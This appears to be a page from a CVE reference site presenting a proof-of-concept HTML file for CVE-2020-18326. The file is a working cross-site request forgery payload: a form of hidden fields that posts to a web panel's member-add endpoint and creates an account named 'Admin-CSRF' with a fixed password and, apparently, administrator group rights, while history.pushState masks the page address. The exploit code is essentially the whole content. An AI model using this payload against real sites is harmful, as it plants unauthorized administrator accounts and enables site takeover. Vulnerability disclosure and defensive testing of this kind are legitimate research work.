CVE-2020-18326 – CVE Helper

README.md
Rendering markdown...
POC / CVE-2020-18326.html HTML
⬇ Raw GitHub ✕ Close
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://172.16.63.129/panel/members/add/" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="&#95;&#95;st" value="OifFpEbdnDnxmk90eNvtyPt1WIq5slR9w8zVh19M" />
      <input type="hidden" name="username" value="Admin-CSRF" />
      <input type="hidden" name="fullname" value="admincsrf" />
      <input type="hidden" name="email" value="admincsrf&#64;go&#46;com" />
      <input type="hidden" name="&#95;password" value="P&#64;ssw0rd" />
      <input type="hidden" name="&#95;password2" value="P&#64;ssw0rd" />
      <input type="hidden" name="usergroup&#95;id" value="1" />
      <input type="hidden" name="website" value="" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="biography" value="" />
      <input type="hidden" name="facebook" value="" />
      <input type="hidden" name="twitter" value="" />
      <input type="hidden" name="gplus" value="" />
      <input type="hidden" name="linkedin" value="" />
      <input type="hidden" name="email&#95;language" value="en" />
      <input type="hidden" name="sponsored" value="0" />
      <input type="hidden" name="featured" value="0" />
      <input type="hidden" name="featured&#95;end" value="2019&#45;03&#45;23&#32;03&#58;10" />
      <input type="hidden" name="status" value="active" />
      <input type="hidden" name="save" value="1" />
      <input type="hidden" name="goto" value="list" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>